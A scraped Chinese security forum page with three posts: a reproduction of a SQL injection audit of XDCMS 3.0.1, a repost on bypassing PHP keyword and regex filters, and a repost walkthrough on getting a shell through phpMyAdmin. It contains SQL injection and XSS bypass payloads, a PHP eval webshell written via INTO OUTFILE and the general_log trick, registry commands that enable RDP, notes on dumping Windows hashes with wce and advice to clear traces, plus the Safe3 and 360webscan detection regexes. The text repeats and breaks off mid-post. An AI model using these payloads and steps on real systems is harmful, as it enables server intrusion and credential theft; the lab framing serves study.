xdcms 代码审计 (一丢丢)

jizi_smile 发表了文章 • 0 个评论 • 175 次浏览 • 2020-03-23 01:25 • 来自相关话题

本文章 是对(https://www.cnblogs.com/Oran9e/p/7944859.html)的复现 但是在自己复现时感觉还是存在问题
环境:1.win10 phpstudy apache 2.4.39  mysql5.7.26
2.xdcms_3.0.1(源码下边分享)
-------------------------------------------------------------
安装不说 ,127.0.0.1/install   下一步下一步(默认管理员账号密码;xdcms  xdcms)
-------------------------------------------------------------
seay 扫了一下







因为是跟着文章走的所以也没看别的直接看了用户注册时的sql 注入
代码如下public function register_save(){
$username=safe_html($_POST['username']);
$password=$_POST['password'];
$password2=$_POST['password2'];
$fields=$_POST['fields'];
if(empty($username)||empty($password2)||empty($password)){
showmsg(C('material_not_complete'),'-1');
}
if(!strlength($username,5)){
showmsg(C('username').C('str_len_error').'5','-1');
}
if(!strlength($password,5)){
showmsg(C('password').C('str_len_error').'5','-1');
}
if($password!=$password2){
showmsg(C('password_different'),'-1');
}
$password=md5(md5($password));

$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
if($user_num>0){
showmsg(C('member_exist'),'-1');
}
$ip=safe_replace(safe_html(getip()));
$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码
$last_id=$this->mysql->insert_id();

//插入附属字段
$field_sql='';
foreach($fields as $k=>$v){
$f_value=$v;
if(is_array($v)){
$f_value=implode(',',$v);
}
$field_sql.=",`{$k}`='{$f_value}'";
}
$field_sql=substr($field_sql,1);
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
$query=$this->mysql->query($field_sql);

showmsg(C('register_success'),'index.php?m=member&f=register');
}register_save函数是一个处理用户注册时像数据库插入数据的函数观察发现 能用户输入的只有username password 并且password 直接md5 两次加密了 ,只剩username了。 $username=safe_html($_POST['username']);找一圈发现 username 只 在开始用safe_html这个函数过滤了一次定位函数 看看写的啥function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','"',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
return htmlspecialchars($str);
}看了下两个安全过滤函数  safe_html 是过滤SQL语句的  把一些关键字替换为空  到这里文章中说 有注入  可以绕过 pyload 是:username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+注入结果是这样的







 
但是我试了一下不行报错是这样的






看了一下 单引号被转义了前边加了一个斜线 应该因为safe_html 中的htmlspecialchars  所以我感觉不行因为拼接出来的语句闭合不了  ,所以自己试这个语句 






还是不行   





 
所以这里sql 注入 我也没找到pyload  大佬们可以试一下
------------------------------------------------------------------------
文章还有审的xss   
黑盒测试阶段不说 看过滤函数就是上边两个过滤函数之一function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}空格,单双引号,尖括号,大括号 双斜线 都被换为空 所以感觉应该不太好xss复现时因为cms版本低所以用了低版本mysql数据库 用phpmyadmin 时报错[b]Parse error[/b]=medium: syntax error, unexpected T_STRING, expecting T_CONSTANT_ENCAPSED_STRING or '(' in [b]F:\phpstudy_pro\WWW\phpMyAdmin4.8.5\index.php[/b]=medium on line [b]8[/b]  原因是数据库版本过低以上只是对文章的简单复现
------------------------------------------------------------------------------------
完。 查看全部
本文章 是对(https://www.cnblogs.com/Oran9e/p/7944859.html)的复现 但是在自己复现时感觉还是存在问题
环境:1.win10 phpstudy apache 2.4.39  mysql5.7.26
2.xdcms_3.0.1(源码下边分享)
-------------------------------------------------------------
安装不说 ,127.0.0.1/install   下一步下一步(默认管理员账号密码;xdcms  xdcms)
-------------------------------------------------------------
seay 扫了一下


2.PNG


因为是跟着文章走的所以也没看别的直接看了用户注册时的sql 注入
代码如下
public function register_save(){
$username=safe_html($_POST['username']);
$password=$_POST['password'];
$password2=$_POST['password2'];
$fields=$_POST['fields'];
if(empty($username)||empty($password2)||empty($password)){
showmsg(C('material_not_complete'),'-1');
}
if(!strlength($username,5)){
showmsg(C('username').C('str_len_error').'5','-1');
}
if(!strlength($password,5)){
showmsg(C('password').C('str_len_error').'5','-1');
}
if($password!=$password2){
showmsg(C('password_different'),'-1');
}
$password=md5(md5($password));

$user_num=$this->mysql->num_rows("select * from ".DB_PRE."member where `username`='$username'");//判断会员是否存在
if($user_num>0){
showmsg(C('member_exist'),'-1');
}
$ip=safe_replace(safe_html(getip()));
$this->mysql->db_insert('member',"`username`='".$username."',`password`='".$password."',`creat_time`='".datetime()."',`last_ip`='".$ip."',`is_lock`='0',`logins`='0',`groupid`='1'");//插入主要字段——用户名、密码
$last_id=$this->mysql->insert_id();

//插入附属字段
$field_sql='';
foreach($fields as $k=>$v){
$f_value=$v;
if(is_array($v)){
$f_value=implode(',',$v);
}
$field_sql.=",`{$k}`='{$f_value}'";
}
$field_sql=substr($field_sql,1);
$field_sql="update ".DB_PRE."member set {$field_sql} where userid={$last_id}";
$query=$this->mysql->query($field_sql);

showmsg(C('register_success'),'index.php?m=member&f=register');
}
register_save函数是一个处理用户注册时像数据库插入数据的函数观察发现 能用户输入的只有username  password  并且password 直接md5 两次加密了 ,只剩username了。
 
$username=safe_html($_POST['username']);
找一圈发现 username 只 在开始用safe_html这个函数过滤了一次定位函数 看看写的啥
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}

//安全过滤函数
function safe_html($str){
if(empty($str)){return;}
$str=preg_replace('/select|insert | update | and | in | on | left | joins | delete |\%|\=|\/\*|\*|\.\.\/|\.\/| union | from | where | group | into |load_file
|outfile/','',$str);
return htmlspecialchars($str);
}
看了下两个安全过滤函数  safe_html 是过滤SQL语句的  把一些关键字替换为空  到这里文章中说 有注入  可以绕过 pyload 是:
username=bestorange' or updatexml(1,concat(0x7e,(selEct concat(username,0x23,password) frOm c_admin),0x7e),1) #&password=bestorange&password2=bestorange&fields%5Btruename%5D=bestorange&fields%5Bemail%5D=bestorange&submit=+%E6%B3%A8+%E5%86%8C+
注入结果是这样的


3.PNG


 
但是我试了一下不行报错是这样的

4.PNG


看了一下 单引号被转义了前边加了一个斜线 应该因为safe_html 中的htmlspecialchars  所以我感觉不行因为拼接出来的语句闭合不了  ,所以自己试这个语句 

5.PNG


还是不行   

6.PNG

 
所以这里sql 注入 我也没找到pyload  大佬们可以试一下
------------------------------------------------------------------------
文章还有审的xss   
黑盒测试阶段不说 看过滤函数就是上边两个过滤函数之一
function safe_replace($string) {
$string = str_replace('%20','',$string);
$string = str_replace('%27','',$string);
$string = str_replace('%2527','',$string);
$string = str_replace('*','',$string);
$string = str_replace('"','&quot;',$string);
$string = str_replace("'",'',$string);
$string = str_replace('"','',$string);
$string = str_replace(';','',$string);
$string = str_replace('<','<',$string);
$string = str_replace('>','>',$string);
$string = str_replace("{",'',$string);
$string = str_replace('}','',$string);
$string = str_replace('\\','',$string);
return $string;
}
空格,单双引号,尖括号,大括号 双斜线 都被换为空  所以感觉应该不太好xss
复现时因为cms版本低所以用了低版本mysql数据库 用phpmyadmin 时报错
[b]Parse error[/b]=medium: syntax error, unexpected T_STRING, expecting T_CONSTANT_ENCAPSED_STRING or '(' in [b]F:\phpstudy_pro\WWW\phpMyAdmin4.8.5\index.php[/b]=medium on line [b]8[/b]   原因是数据库版本过低
以上只是对文章的简单复现 
------------------------------------------------------------------------------------
完。

PHP代码层防护与绕过

flaray 发表了文章 • 0 个评论 • 437 次浏览 • 2019-02-26 13:31 • 来自相关话题

转自:https://www.secpulse.com/archives/99326.html 
0x01 前言
  在一些网站通常会在公用文件引入全局防护代码进行SQL注入、XSS跨站脚本等漏洞的防御,在一定程度上对网站安全防护还是比较有效的。
  这里讨论一下关键字过滤不完善及常见正则匹配存在的问题,并收集了网络上常见的PHP全局防护代码进行分析。

Bypass思路:利用数据库特性或过滤函数逻辑缺陷绕过。
 0x02 关键字过滤
1、使用strpos过滤关键字
PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>
Bypass思路:strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。
大小写绕过:id=1 AND 1=1 UNION SELECT 1,2,3  FROM ADMIN
2、使用stripos,进行关键字过滤
   与strpos相比,stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>
Bypass思路:
当$flag等于0,即关键字在输入参数的第一位,可绕过
id=</script><a href="javascript:alert(/xss/)">xsstest<a>
关键字过滤类似的方法:

<?php
$blacklist_keywords = 'select,from,1=1,--,union,#';
$blacklist = explode(',',$blacklist_keywords);
print_r($blacklist);
foreach($blacklist as $key=>$value){
    //$_REQUEST['id'] = str_replace(strtolower($value),'',strtolower($_REQUEST['id']));               
    $_REQUEST['id'] = str_replace($value,'',$_REQUEST['id']);
}
echo $_REQUEST['id'];

?>
 0x03 正则匹配
1、边界关键词
b 表示单词的边界,因此只有独立的 "union" 单词会被匹配
PHP过滤代码如下:

<?php
if  (preg_match("/b(union|select|from)b/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>
Bypass思路:
通过数据库的特性,在关键字前后添加字符,打扰关键字边界判断
id=1e0union/*!12345select*/1,2,3,4/*!12345from*/users
2、匹配模式
i 忽略大小写,匹配不考虑大小写,默认不匹配多行
PHP过滤代码如下:

<?php
if  (preg_match("/(?:(union(.*?)select))/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>
Bypass思路:
通过换行 n可绕过,url编码为%0aid=1 union%23%0aseleCT 1,2,3,4 from users
 
修复方案:

preg_match("/(?:(union(.*?)select))/ims",$_GET['id'])
0x04 PHP通用防护代码
1、safe3 防注入代码

<?php
//Code By Safe3
ini_set('date.timezone','Asia/Shanghai');
function customError($errno, $errstr, $errfile, $errline)
{
   echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
   die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|select|from|(and|or)\b.+?(>|<|=|in|like)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
$postfilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
$cookiefilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){

   if(is_array($StrFiltValue))
   {
       $StrFiltValue=implode($StrFiltValue);
   }
   if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
       slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
       @header("http/1.1 404 not found");
       print "<html><title>404: Not Found</title>";
       //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
       print "<body>Url里含有非法字符串,属于有误操作!... <a href='/'>您还可以返回首页</a></body></html>";
 ;exit();
   }
}
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){
   StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){
   StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){
   StopAttack($key,$value,$cookiefilter);
}
function slog($logs)
{
   $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
   $Ts=fopen($toppath,"a+");
   fputs($Ts,$logs."rn");
   fclose($Ts);
}
?>
如果正面怼正则,实在想不到绕过的方式。。
2、360webscan防御脚本
  360网站安全:http://webscan.360.cn
  http://webscan.360.cn/protect/index/?act=reinstall&domain=www.test.com下载漏洞修复插件360webscan.zip  多次下载解压失败,
  无奈,跑到cmseasy下载最新版cms,解压获取 webscan360/360safe目录,分享到网盘,链接: https://pan.baidu.com/s/1nviNi2l 密码: 3itq
  WEBSCAN_VERSION :0.1.3.2

 
SQL语句测试,成功拦截: 

Bypass思路:
  关键的两个正则:

  UNION.+?SELECTs*((.+)s*|@{1,2}.+?s*|s+?.+?|(`|'|").*?(`|'|")s*)
  (SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
  id=1e0union select!1,user(),3,4 from users


0x05 结束
    本文简单演示了几种防护代码和绕过场景,在攻与防的道路上,不只是掌握一些技巧,是与代码的对抗,更是人与人的对抗。
转载自公众号:Bypass 查看全部
转自:https://www.secpulse.com/archives/99326.html 
0x01 前言
  在一些网站通常会在公用文件引入全局防护代码进行SQL注入、XSS跨站脚本等漏洞的防御,在一定程度上对网站安全防护还是比较有效的。
  这里讨论一下关键字过滤不完善及常见正则匹配存在的问题,并收集了网络上常见的PHP全局防护代码进行分析。

Bypass思路:利用数据库特性或过滤函数逻辑缺陷绕过。
 0x02 关键字过滤
1、使用strpos过滤关键字
PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>
Bypass思路:strpos() 函数查找字符串在另一字符串中第一次出现的位置。strpos() 函数对大小写敏感。
大小写绕过:id=1 AND 1=1 UNION SELECT 1,2,3  FROM ADMIN
2、使用stripos,进行关键字过滤
   与strpos相比,stripos() - 查找字符串在另一字符串中第一次出现的位置(不区分大小写)
PHP过滤代码如下:

<?php
$str = "and|or|union|select|from|where|limit|order by|guoup by|<script>|</script>";
$arr=explode("|",$str);
#print_r($arr);
foreach($arr as $key=>$val){
$flag=strpos($_GET['id'],$val);
if ($flag){
    echo 'Error';
    exit();
}
}
?>
Bypass思路:
当$flag等于0,即关键字在输入参数的第一位,可绕过
id=</script><a href="javascript:alert(/xss/)">xsstest<a>
关键字过滤类似的方法:

<?php
$blacklist_keywords = 'select,from,1=1,--,union,#';
$blacklist = explode(',',$blacklist_keywords);
print_r($blacklist);
foreach($blacklist as $key=>$value){
    //$_REQUEST['id'] = str_replace(strtolower($value),'',strtolower($_REQUEST['id']));               
    $_REQUEST['id'] = str_replace($value,'',$_REQUEST['id']);
}
echo $_REQUEST['id'];

?>
 0x03 正则匹配
1、边界关键词
b 表示单词的边界,因此只有独立的 "union" 单词会被匹配
PHP过滤代码如下:

<?php
if  (preg_match("/b(union|select|from)b/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>
Bypass思路:
通过数据库的特性,在关键字前后添加字符,打扰关键字边界判断
id=1e0union/*!12345select*/1,2,3,4/*!12345from*/users
2、匹配模式
i 忽略大小写,匹配不考虑大小写,默认不匹配多行
PHP过滤代码如下:

<?php
if  (preg_match("/(?:(union(.*?)select))/i",$_GET['id'])==1){ 
    echo "Error";
    exit();
}
echo "success" ;
?>
Bypass思路:
通过换行 n可绕过,url编码为%0a
id=1 union%23%0aseleCT 1,2,3,4 from users

 
修复方案:

preg_match("/(?:(union(.*?)select))/ims",$_GET['id'])
0x04 PHP通用防护代码
1、safe3 防注入代码

<?php
//Code By Safe3
ini_set('date.timezone','Asia/Shanghai');
function customError($errno, $errstr, $errfile, $errline)
{
   echo "<b>Error number:</b> [$errno],error on line $errline in $errfile<br />";
   die();
}
set_error_handler("customError",E_ERROR);
$getfilter="'|select|from|(and|or)\b.+?(>|<|=|in|like)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
$postfilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
$cookiefilter="\b(and|or)\b.{1,6}?(=|>|<|\bin\b|\blike\b)|\/\*.+?\*\/|<\s*script\b|\bEXEC\b|UNION.+?SELECT|UPDATE.+?SET|INSERT\s+INTO.+?VALUES|(SELECT|DELETE).+?FROM|(CREATE|ALTER|DROP|TRUNCATE)\s+(TABLE|DATABASE)";
function StopAttack($StrFiltKey,$StrFiltValue,$ArrFiltReq){

   if(is_array($StrFiltValue))
   {
       $StrFiltValue=implode($StrFiltValue);
   }
   if (preg_match("/".$ArrFiltReq."/is",$StrFiltValue)==1){
       slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
       @header("http/1.1 404 not found");
       print "<html><title>404: Not Found</title>";
       //slog("<br><br>操作IP: ".$_SERVER["REMOTE_ADDR"]."<br>操作时间: ".strftime("%Y-%m-%d %H:%M:%S")."<br>操作页面:".$_SERVER["PHP_SELF"]."<br>提交方式: ".$_SERVER["REQUEST_METHOD"]."<br>提交参数: ".$StrFiltKey."<br>提交数据: ".$StrFiltValue);
       print "<body>Url里含有非法字符串,属于有误操作!... <a href='/'>您还可以返回首页</a></body></html>";
 ;exit();
   }
}
//$ArrPGC=array_merge($_GET,$_POST,$_COOKIE);
foreach($_GET as $key=>$value){
   StopAttack($key,$value,$getfilter);
}
foreach($_POST as $key=>$value){
   StopAttack($key,$value,$postfilter);
}
foreach($_COOKIE as $key=>$value){
   StopAttack($key,$value,$cookiefilter);
}
function slog($logs)
{
   $toppath=$_SERVER["DOCUMENT_ROOT"]."/log.htm";
   $Ts=fopen($toppath,"a+");
   fputs($Ts,$logs."rn");
   fclose($Ts);
}
?>
如果正面怼正则,实在想不到绕过的方式。。
2、360webscan防御脚本
  360网站安全:http://webscan.360.cn
  http://webscan.360.cn/protect/index/?act=reinstall&domain=www.test.com下载漏洞修复插件360webscan.zip  多次下载解压失败,
  无奈,跑到cmseasy下载最新版cms,解压获取 webscan360/360safe目录,分享到网盘,链接: https://pan.baidu.com/s/1nviNi2l 密码: 3itq
  WEBSCAN_VERSION :0.1.3.2

 
SQL语句测试,成功拦截: 

Bypass思路:
  关键的两个正则:

  UNION.+?SELECTs*((.+)s*|@{1,2}.+?s*|s+?.+?|(`|'|").*?(`|'|")s*)
  (SELECT|DELETE)@{0,2}(\(.+\)|\s+?.+?\s+?|(`|'|").*?(`|'|"))FROM(\(.+\)|\s+?.+?|(`|'|").*?(`|'|"))
  id=1e0union select!1,user(),3,4 from users


0x05 结束
    本文简单演示了几种防护代码和绕过场景,在攻与防的道路上,不只是掌握一些技巧,是与代码的对抗,更是人与人的对抗。
转载自公众号:Bypass

phpmyadmin getshell姿势(转)

jizi_smile 发表了文章 • 2 个评论 • 604 次浏览 • 2019-01-13 21:19 • 来自相关话题

phpmyadmin getshell姿势
phpmyadmin常被用来管理mysql数据库。在ctf比赛和实战中都可能会遇到phpmyadmin弱口令或者空密码的情况,这个时候就需要从phpmyadmin来getshell了,这里总结一下getshell的姿势。0x00 前言
此次是在虚拟机中用wampserver搭了一个实验环境,然后在本机上执行操作。
[list=disc]
[*]靶机:Windows7 x64 IP 192.168.129.129[/*]
[*]攻击机: Windows10 x64[/*]
[*]PHP版本:5.6[/*]
[*]Mysql版本:5.7[/*]
[*]Apache版本:2.4

mysql密码为弱密码root,已爆破得到密码。[/*]
[/list]
0x01 常用方法
最常见的应该就是select into outfile写入shell了,需要知道网站的绝对路径,而且比较容易失败。
select @@basedir可以看到mysql所在的绝对路径,此外还有一些爆路径的方法会在下面总结到。

爆出网站绝对路径后你可以开始写入shell。[code]select load_file('C:/wamp64/www/ma.php')
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/wamp64/www/ma.php';[/code]
当你尝试执行select into outfile时会爆出如图的错误:

执行以下命令:
SHOW VARIABLES LIKE "secure_file_priv";

如果值为文件夹目录,则只允许修改目录下的文件,如果值为NULL则为禁止。
并且这个值是只读变量,只能通过配置文件修改。0x02 利用日志写shell
mysql5.0版本以上会创建日志文件,可以通过修改日志的全局变量getshell。检测全局变量(general_log、general_log file)
general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。general log file 指的是日志的保存路径。[code]SHOW VARIABLES LIKE 'general%'[/code]
由图可知general_log默认关闭,以及日志的存储路径 。
开启general_log 的作用:开启它可以记录用户输入的每条命令,会把其保存在c:\wamp64\bin\mysql\mysql5.7.14\data\的一个.log文件中,其实就是我们常说的日志文件
利用思路:开启general_log之后把general_log_file的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用。[code]set global general_log = "ON";
set global general_log_file='C:/wamp64/www/ma.php';[/code]

执行后可以看到生成的伪日志文件ma.php
此时在利用日志的记录插入一句话
select '<?php eval($_POST[cmd]);?>';
打开日志可以看到记录

然后尝试用菜刀连接即可getshell
0x03 获取管理员密码
既然都做到这里了就顺便简单复习一下Windows,继续做下去。
在服务器上如果是管理员启动的mysql服务那么getshell直接就是管理员权限,如果是其他用户则需要提权。
wce,pwdump,mimikatz等工具都能抓取密码,我这里选择上传wce进行密码抓取。wce抓取
尝试直接抓明文,没有结果,那只能抓hash值了。


拿到hash值后就可以用hashcat或者直接跑彩虹表来获取密码。在线也有ophcrack可以破解。
3389连接
查看一下端口,发现3389没开

开启3389
REG ADD "HKLM\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 00000000 /f
REG ADD "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v PortNumber /t REG_DWORD /d 0x00000d3d /f


然后连接,输入刚刚抓到的账号密码即可。
小结
其实这样一套操作下来动静是很大的,要注意清除痕迹,另外在Windows7这类非服务器的系统上远程登录的话会挤掉当前用户,用户掉线马上就知道出事了,当然也可以使用工具让其支持多用户登录,具体就不详细说明了。0x04 php爆绝对路径方法
插入一句话木马时是需要知道网站绝对路径的,这里总结一下爆路径的方法。单引号爆路径
直接在URL后面加单引号,要求单引号没有被过滤(gpc=off)且服务器默认返回错误信息。
www.xxx.com/news.php?id=1′错误参数值爆路径
将要提交的参数值改成错误值,比如-1。-99999单引号被过滤时不妨试试。
www.xxx.com/researcharchive.php?id=-1Google爆路径
结合关键字和site语法搜索出错页面的网页快照,常见关键字有warning和fatal error。注意,如果目标站点是二级域名,site接的是其对应的顶级域名,这样得到的信息要多得多。[code]Site:xxx.edu.tw warning
Site:xxx.com.tw “fatal error”[/code]测试文件爆路径
很多网站的根目录下都存在测试文件,脚本代码通常都是phpinfo()。[code]www.xxx.com/test.php
www.xxx.com/ceshi.php
www.xxx.com/info.php
www.xxx.com/phpinfo.php
www.xxx.com/php_info.php
www.xxx.com/1.php[/code]phpmyadmin爆路径
一旦找到phpmyadmin的管理页面,再访问该目录下的某些特定文件,就很有可能爆出物理路径。至于phpmyadmin的地址可以用wwwscan这类的工具去扫,也可以选择google。[code]/phpmyadmin/libraries/lect_lang.lib.php
/phpMyAdmin/index.php?lang[]=1
/phpMyAdmin/phpinfo.php
load_file()
/phpmyadmin/themes/darkblue_orange/layout.inc.php
/phpmyadmin/libraries/select_lang.lib.php
/phpmyadmin/libraries/lect_lang.lib.php
/phpmyadmin/libraries/mcrypt.lib.php[/code]配置文件找路径
如果注入点有文件读取权限,就可以手工load_file或工具读取配置文件,再从中寻找路径信息(一般在文件末尾)。各平台下Web服务器和PHP的配置文件默认路径可以上网查,这里列举常见的几个。[code]Windows:
c:\windows\php.ini php配置文件
c:\windows\system32\inetsrv\MetaBase.xml IIS虚拟主机配置文件


Linux:
/etc/php.ini php配置文件
/etc/httpd/conf.d/php.conf
/etc/httpd/conf/httpd.conf Apache配置文件
/usr/local/apache/conf/httpd.conf
/usr/local/apache2/conf/httpd.conf
/usr/local/apache/conf/extra/httpd-vhosts.conf 虚拟目录配置文件[/code]nginx文件类型错误解析爆路径
说明:
要求Web服务器是nginx,且存在文件类型解析漏洞。有时在图片地址后加/x.php,该图片不但会被当作php文件执行,有可能爆出物理路径
www.xxx.com/xx.jpg/x.php0x05 思考
此次是在Windows系统下的实验,如果是Linux是否同样可以利用日志写shell?
于是找了个linux服务器测试

可以发现,我们没有权限在网站目录下创建日志文件。因为此台服务器上MYSQL并没有被赋予在站点根目录下创建文件的权限。所以也无法写shell并解析。
因此,只要做好权限把控,就可以避免此类安全问题 查看全部
phpmyadmin getshell姿势
phpmyadmin常被用来管理mysql数据库。在ctf比赛和实战中都可能会遇到phpmyadmin弱口令或者空密码的情况,这个时候就需要从phpmyadmin来getshell了,这里总结一下getshell的姿势。0x00 前言
此次是在虚拟机中用wampserver搭了一个实验环境,然后在本机上执行操作。
[list=disc]
[*]靶机:Windows7 x64 IP 192.168.129.129[/*]
[*]攻击机: Windows10 x64[/*]
[*]PHP版本:5.6[/*]
[*]Mysql版本:5.7[/*]
[*]Apache版本:2.4

mysql密码为弱密码root,已爆破得到密码。[/*]
[/list]
0x01 常用方法
最常见的应该就是
select into outfile
写入shell了,需要知道网站的绝对路径,而且比较容易失败。
select @@basedir
可以看到mysql所在的绝对路径,此外还有一些爆路径的方法会在下面总结到。

爆出网站绝对路径后你可以开始写入shell。
[code]select load_file('C:/wamp64/www/ma.php')
select '<?php eval($_POST[cmd]); ?>' into outfile 'C:/wamp64/www/ma.php';
[/code]
当你尝试执行
select into outfile
时会爆出如图的错误:

执行以下命令:
SHOW VARIABLES LIKE "secure_file_priv";


如果值为文件夹目录,则只允许修改目录下的文件,如果值为
NULL
则为禁止。
并且这个值是只读变量,只能通过配置文件修改。0x02 利用日志写shell
mysql5.0版本以上会创建日志文件,可以通过修改日志的全局变量getshell。检测全局变量(general_log、general_log file)
  1. general log 指的是日志保存状态,一共有两个值(ON/OFF)ON代表开启 OFF代表关闭。
  2. general log file 指的是日志的保存路径。
    [code]SHOW VARIABLES LIKE 'general%'
    [/code]

由图可知
general_log
默认关闭,以及日志的存储路径 。
开启general_log 的作用:开启它可以记录用户输入的每条命令,会把其保存在
c:\wamp64\bin\mysql\mysql5.7.14\data\
的一个.log文件中,其实就是我们常说的日志文件
利用思路:开启
general_log
之后把
general_log_file
的值修改为该网站默认路径下的某一个自定义的php文件中,然后通过log日志进行写入一句话木马,然后再进一步利用。
[code]set global general_log = "ON";
set global general_log_file='C:/wamp64/www/ma.php';
[/code]

执行后可以看到生成的伪日志文件ma.php
此时在利用日志的记录插入一句话
select '<?php eval($_POST[cmd]);?>';

打开日志可以看到记录

然后尝试用菜刀连接即可getshell
0x03 获取管理员密码
既然都做到这里了就顺便简单复习一下Windows,继续做下去。
